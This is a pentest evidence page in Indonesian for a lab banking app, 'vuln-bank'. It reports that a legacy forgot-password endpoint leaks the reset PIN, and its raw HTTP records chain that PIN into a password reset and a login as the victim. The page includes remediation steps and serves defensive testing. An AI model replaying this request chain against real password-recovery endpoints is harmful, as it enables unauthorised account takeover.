Skenario 01 / 26FAIL
Account Takeover - Password Reset - Reset PIN Disclosure
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure
Deskripsi
Endpoint /api/v1/forgot-password mengembalikan reset PIN korban langsung di dalam body respons HTTP pada field debug_info.pin. PIN ini seharusnya hanya dikirim ke kanal milik korban (email). Siapa pun yang mengetahui username dapat meminta PIN, lalu memakainya pada /api/v1/reset-password untuk menetapkan password baru.
Dampak
Confidentiality + Integrity (Critical): pengambilalihan akun penuh tanpa interaksi korban dan tanpa akses ke email korban. Penyerang cukup mengetahui username untuk mengganti password dan masuk sebagai korban, termasuk akun administrator. Rekening dan seluruh fungsi perbankan korban menjadi terkendali penyerang.
CWE
CWE-640: Weak Password Recovery Mechanism for Forgotten Password
OWASP
A07:2021 - Identification and Authentication Failures
Skenario
Normal: /api/v2/forgot-password menerima permintaan dan menyatakan PIN dikirim ke email, tanpa membocorkan PIN. Eksploitasi: endpoint versi lama /api/v1/forgot-password mengembalikan PIN pada respons. Chain: PIN dipakai pada /api/v1/reset-password untuk menetapkan password pilihan penyerang. Dampak: login sebagai korban berhasil.
Endpoint
POST http://127.0.0.1:5001/api/v1/forgot-password
POST http://127.0.0.1:5001/api/v1/reset-password
Fitur terdampak
Pemulihan password / lupa password (API v1)
Rekomendasi perbaikan
- Jangan pernah mengembalikan reset PIN, OTP, atau token pemulihan pada respons HTTP; kirim hanya melalui kanal terverifikasi milik pengguna.
- Hapus blok debug_info dari seluruh respons produksi.
- Pensiunkan endpoint versi lama (v1) yang sudah digantikan v2/v3.
- Gunakan token acak panjang dengan masa berlaku singkat dan sekali pakai, bukan PIN 3 digit.
- Terapkan rate limiting dan invalidasi seluruh sesi aktif setelah reset password.
Bukti konsep
1) (Screenshot 1) NORMAL: /api/v2/forgot-password untuk pentest_victim -> respons tidak memuat PIN.
2) (Screenshot 2) EKSPLOITASI: /api/v1/forgot-password untuk pentest_victim -> respons membocorkan debug_info.pin.
3) (Screenshot 3) CHAIN: PIN hasil bocoran dikirim ke /api/v1/reset-password -> reset_success true, password korban diganti.
4) (Screenshot 4) DAMPAK CIA: login sebagai pentest_victim dengan password baru -> token terbit, akun korban diambil alih.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure
Description:
Endpoint /api/v1/forgot-password mengembalikan reset PIN korban langsung di dalam body respons HTTP pada field debug_info.pin. PIN ini seharusnya hanya dikirim ke kanal milik korban (email). Siapa pun yang mengetahui username dapat meminta PIN, lalu memakainya pada /api/v1/reset-password untuk menetapkan password baru.
Impact:
Confidentiality + Integrity (Critical): pengambilalihan akun penuh tanpa interaksi korban dan tanpa akses ke email korban. Penyerang cukup mengetahui username untuk mengganti password dan masuk sebagai korban, termasuk akun administrator. Rekening dan seluruh fungsi perbankan korban menjadi terkendali penyerang.
CWE:
CWE-640: Weak Password Recovery Mechanism for Forgotten Password
OWASP:
A07:2021 - Identification and Authentication Failures
Scenario:
Normal: /api/v2/forgot-password menerima permintaan dan menyatakan PIN dikirim ke email, tanpa membocorkan PIN. Eksploitasi: endpoint versi lama /api/v1/forgot-password mengembalikan PIN pada respons. Chain: PIN dipakai pada /api/v1/reset-password untuk menetapkan password pilihan penyerang. Dampak: login sebagai korban berhasil.
Endpoint:
POST http://127.0.0.1:5001/api/v1/forgot-password
POST http://127.0.0.1:5001/api/v1/reset-password
Affected Feature:
Pemulihan password / lupa password (API v1)
Remediation:
- Jangan pernah mengembalikan reset PIN, OTP, atau token pemulihan pada respons HTTP; kirim hanya melalui kanal terverifikasi milik pengguna.
- Hapus blok debug_info dari seluruh respons produksi.
- Pensiunkan endpoint versi lama (v1) yang sudah digantikan v2/v3.
- Gunakan token acak panjang dengan masa berlaku singkat dan sekali pakai, bukan PIN 3 digit.
- Terapkan rate limiting dan invalidasi seluruh sesi aktif setelah reset password.
POC:
1) (Screenshot 1) NORMAL: /api/v2/forgot-password untuk pentest_victim -> respons tidak memuat PIN.
2) (Screenshot 2) EKSPLOITASI: /api/v1/forgot-password untuk pentest_victim -> respons membocorkan debug_info.pin.
3) (Screenshot 3) CHAIN: PIN hasil bocoran dikirim ke /api/v1/reset-password -> reset_success true, password korban diganti.
4) (Screenshot 4) DAMPAK CIA: login sebagai pentest_victim dengan password baru -> token terbit, akun korban diambil alih.
02 — Tangkapan layar
Tangkapan layar (4)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
POST /api/v2/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json
{"username": "pentest_victim"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:12 GMT
{
"debug_info": {
"timestamp": "2026-09-30 02:58:12.691317",
"username": "pentest_victim"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}REKAMAN 02 / 2
POST /api/v1/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json
{"username": "pentest_victim"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:13 GMT
{
"debug_info": {
"pin": "358",
"pin_length": 3,
"timestamp": "2026-09-30 02:58:13.665194",
"username": "pentest_victim"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}REKAMAN 03 / 3
POST /api/v1/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 85
Content-Type: application/json
{"username": "pentest_victim", "reset_pin": "358", "new_password": "PwnedByPentest1"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 243
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:14 GMT
{
"debug_info": {
"reset_pin_used": "358",
"reset_success": true,
"timestamp": "2026-09-30 02:58:14.637378",
"username": "pentest_victim"
},
"message": "Password has been reset successfully",
"status": "success"
}REKAMAN 04 / 4
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/json
{"username": "pentest_victim", "password": "[REDACTED-LAB-VALUE]"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 498
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:15 GMT
{
"accountNumber": "9159912486",
"debug_info": {
"account_number": "9159912486",
"is_admin": false,
"login_time": "2026-09-30 02:58:15.599480",
"user_id": 3,
"username": "pentest_victim"
},
"isAdmin": false,
"message": "Login successful",
"status": "success",
"token": "[REDACTED-LAB-VALUE]"
}